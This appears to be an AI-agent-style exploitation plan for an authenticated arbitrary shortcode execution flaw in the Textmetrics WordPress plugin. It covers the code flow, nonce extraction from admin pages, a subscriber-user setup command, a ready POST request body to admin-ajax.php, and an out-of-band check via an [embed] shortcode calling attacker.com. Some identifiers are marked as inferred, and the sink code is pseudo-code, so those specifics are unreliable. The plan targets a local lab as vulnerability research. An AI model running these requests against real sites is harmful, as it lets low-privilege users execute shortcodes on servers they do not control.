Textmetrics <= 3.6.5 - Authenticated (Subscriber+) Arbitrary Shortcode Execution

This plan outlines the research and exploitation strategy for CVE-2026-24564, an authenticated arbitrary shortcode execution vulnerability in the Textmetrics (formerly webtexttool) plugin.

---

1. Vulnerability Summary

The Textmetrics plugin for WordPress (versions <= 3.6.5) is vulnerable to Arbitrary Shortcode Execution. The vulnerability exists because the plugin registers several AJAX actions that process content through the do_shortcode() function without sufficient validation or capability checks. Authenticated attackers with Subscriber-level access can call these AJAX endpoints and provide malicious shortcodes, which are then executed on the server.

2. Attack Vector Analysis

• Vulnerable Endpoint: wp-admin/admin-ajax.php
• AJAX Action: webtexttool_convert_shortcodes (and potentially webtexttool_convert_divi_shortcodes)
• Parameter Name: content (inferred based on plugin logic and standard WordPress patterns)
• Authentication: Authenticated, Subscriber+ (Subscriber, Contributor, Author, etc.)
• Preconditions: The plugin must be active and the attacker must have a valid login.

3. Code Flow

1. Registration: In includes/class-webtexttool.php, the plugin registers the AJAX hook:

   add_action('wp_ajax_webtexttool_convert_shortcodes', array($plugin_core, 'wtt_process_shortcodes'));
   

   Note: It is registered under wp_ajax_, meaning it requires authentication but lacks a current_user_can check in versions <= 3.6.5.
2. Entry Point: An authenticated user sends a POST request to admin-ajax.php?action=webtexttool_convert_shortcodes.
3. Processing: The request is handled by Webtexttool_Core::wtt_process_shortcodes in core/class-webtexttool-core.php.
4. Vulnerable Sink: The handler retrieves the content parameter from the POST request and passes it directly to do_shortcode().
   • Pseudo-code of the vulnerable sink:

     public function wtt_process_shortcodes() {
         $content = $_POST['content'];
         echo do_shortcode($content); // The arbitrary execution happens here
         wp_die();
     }
     

4. Nonce Acquisition Strategy

The plugin uses the wp_localize_script function to pass security nonces and AJAX URLs to the frontend.

1. Identify Nonce Object: In includes/class-webtexttool.php, the webtexttoolnonce function (registered in Webtexttool_Admin) enqueues scripts and localizes them.
2. Access Point: Since admin_enqueue_scripts is used globally for admin hooks, a Subscriber can access the nonce via any admin page (e.g., wp-admin/profile.php).
3. Extraction:
   • Log in as a Subscriber.
   • Navigate to /wp-admin/profile.php.
   • Use browser_eval to extract the nonce:

     window.webtexttoolnonce?.nonce // Verify identifier in source
     

   • Alternative: If the first fails, check for wtt_globals.nonce.

5. Exploitation Strategy

Step 1: User Creation

Create a Subscriber-level user to demonstrate the low-privilege nature of the exploit.

wp user create attacker attacker@example.com --role=subscriber --user_pass=password

Step 2: Nonce Retrieval

Navigate to the dashboard as the Subscriber and extract the nonce.

• Target URL: http://localhost:8080/wp-admin/
• Script Variable: webtexttoolnonce
• Key: nonce (or check for wtt_globals)

Step 3: Payload Construction

Construct a POST request to execute a shortcode. A reliable test is using a built-in shortcode that reveals information or simple text.

• Payload: content=[caption]Executed![/caption] or content=[myshortcode] (if a custom one exists).
• Action: webtexttool_convert_shortcodes

Step 4: Execution via HTTP Request

Using the http_request tool:

• Method: POST
• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body: action=webtexttool_convert_shortcodes&nonce=[NONCE]&content=[caption]PWNED[/caption]

6. Test Data Setup

1. Ensure the webtexttool plugin is installed and activated.
2. Create a Subscriber user as described in Step 1.
3. No further configuration is required as the vulnerability stems from lack of authorization on a globally registered AJAX action.

7. Expected Results

• Success: The HTTP response will have a 200 OK status and the body will contain the rendered output of the shortcode (e.g., <div class="wp-caption">PWNED</div>).
• Failure: The response might be 403 Forbidden (nonce fail), 0 (action not registered), or an empty string/error (if patched).

8. Verification Steps

1. Check the response body of the AJAX call. If the shortcode tags are removed and the inner content is returned/formatted, do_shortcode was executed.
2. To prove impact beyond reflection, use a shortcode that performs an action (if available on the target system, such as a contact form or gallery query).

9. Alternative Approaches

If webtexttool_convert_shortcodes is protected, check these secondary entry points registered in includes/class-webtexttool.php:

• wp_ajax_webtexttool_convert_divi_shortcodes: Specifically targets Divi-formatted shortcodes but often uses the same underlying processing logic.
• wp_ajax_webtexttool_do_blocks: Might process Gutenberg block content which can include shortcode blocks.
• Blind/OOB Execution: If the output is not echoed, use a shortcode that triggers an external request (e.g., [embed]http://attacker.com[/embed]) and monitor logs.

Reference Identifiers (Verbatim from Source)

• AJAX Action: webtexttool_convert_shortcodes
• Core Hook Function: wtt_process_shortcodes
• Localization Object: webtexttoolnonce
• JS Globals: wtt_globals
• Nonce Key: nonce (inferred from JS usage pattern)